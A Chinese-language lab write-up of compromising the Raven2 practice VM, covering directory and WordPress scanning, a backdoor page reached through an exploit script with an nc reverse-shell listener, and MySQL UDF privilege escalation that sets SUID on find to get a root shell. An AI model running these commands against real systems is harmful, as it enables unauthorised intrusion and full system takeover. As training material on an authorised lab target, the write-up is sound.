skyler实战渗透笔记(四)—Raven2
skyler实战渗透笔记:
笔记是为了记录实战渗透学习过程,分享渗透过程思路与方法。
请注意:
对于所有笔记中复现的终端或服务器,都是自行搭建环境或已获授权渗透的。使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。
今天的目标,是上次的续章,在多次入侵后,Raven Security采取了额外的措施来加固他们的网络服务器,以防止黑客入侵。依旧是4个flag和root权限。
首先还是先发现目标:
靶机ip是192.168.245.144,端口扫一下看看有什么服务:
依然是这些端口,看来改变不大,那继续访问下80看看:
还是原来的web博客,只不过看介绍密码被加强了。
使用dirsearch扫一下目录:
dirsearch -u http://192.168.245.144/
依然还是有个vendor目录,那么点进来每个文件再看下:
PATH文件中发现了flag1:
看着目录中有wordpress的字眼,那么用wpscan扫一下看看有什么可用的信息:
wpscan --url http://192.168.245.144/wordpress/
可以看到,扫出来两个目录,一个readme,看了看没啥内容,另一个uploads访问下试试:
目录最底层发现了flag3
其他看起来没什么发现了,那么还是用昨天的方法试试:
老规矩,先搜下漏洞,然后把要利用的这个python脚本拷贝到当前目录(可以参考上一篇文章):
之后修改这个python文件,改成我们的目标服务器和接收端
修改后,python执行,并且另起一个终端,监听4444端口,之后访问后门页面http://192.168.245.144/back.php:
nc -lvnp 4444
成功获得shell,python反弹tty终端
获取到终端后,find搜一下flag:
找到了flag2和刚才访问到的flag3
依旧是上一篇的内容,udf提权:
查看mysql版本5.5.60
用第二个,复制1518.c并编译生成动态链接库文件(DLL)
gcc -g -c 1518.c
gcc -g -shared -Wl,-soname,1518.so -o 1518.so 1518.o –lc
-g 生成调试信息
-c 编译(二进制)
-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。
-o:执行命令后的文件名
-lc:-l 库 c库名
开启python服务器python -m SimpleHTTPServer 5555 ,并在目标机器中下载1518.so
OK,登录进mysql,开始udf提权:
mysql -uroot -pR@v3nSecurity
使用前面的python 5555服务传输到靶机
然后通过mysql进行UDF提权
进入数据库创建数据表 foo
命令:create table foo(line blob);
插入数据:insert into foo values(load_file(’/tmp/zxp.so’));
Foo表成功插入二进制数据,然后利用dumpfile函数把文件导出
outfile 多行导出,dumpfile一行导出
outfile会有特殊的转换,而dumpfile是原数据导出
新建存储函数
命令:select * from foo into dumpfile ‘/usr/lib/mysql/plugin/zxp.so’;
创建自定义函数do_system 类型是integer,别名(soname)文件名字
然后查询函数是否创建成功
命令:create function do_system returns integer soname ‘zxp.so’;
调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令
命令:select * from mysql.func;
命令:select do_system(‘chmod u+s /usr/bin/find’);
执行find命令
使用find执行 shell
命令:find / -exec '/bin/sh ’ \ ;
成功提权查看flag4.txt
不对劲啊,感觉跟上一篇差不多啊,也没看出哪里加固来。
后来我搜了下其他人的渗透思路,发现上一篇搞复杂了,上一篇用wpscan直接扫描出用户名,九头蛇爆破就能搞出ssh,然后从数据库中找到sudoer的密码,md5碰撞解开就行了,靠!